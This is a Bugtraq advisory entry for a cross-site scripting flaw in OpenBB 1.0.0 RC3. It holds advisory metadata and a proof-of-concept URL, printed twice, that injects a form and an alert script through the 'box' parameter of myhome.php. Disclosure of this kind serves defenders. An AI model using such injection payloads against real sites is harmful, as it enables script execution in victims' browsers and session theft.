OpenBB Cross-Site Scripting Vulnerability
BID:4824
Info
OpenBB Cross-Site Scripting Vulnerability
| Bugtraq ID: | 4824 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 24 2002 12:00AM |
| Updated: | May 24 2002 12:00AM |
| Credit: | Posted to BugTraq by frog frog <[email protected]>. |
| Vulnerable: |
OpenBB OpenBB 1.0 .0 RC3 |
| Not Vulnerable: | |
Exploit / POC
OpenBB Cross-Site Scripting Vulnerability
The following was provided as proof of concept:
http://targetsite/myhome.php?action=messages&box=<form%20name=a><input%20name=i%20value=XSS></form>
<script>alert(document.a.i.value)</script>
The following was provided as proof of concept:
http://targetsite/myhome.php?action=messages&box=<form%20name=a><input%20name=i%20value=XSS></form>
<script>alert(document.a.i.value)</script>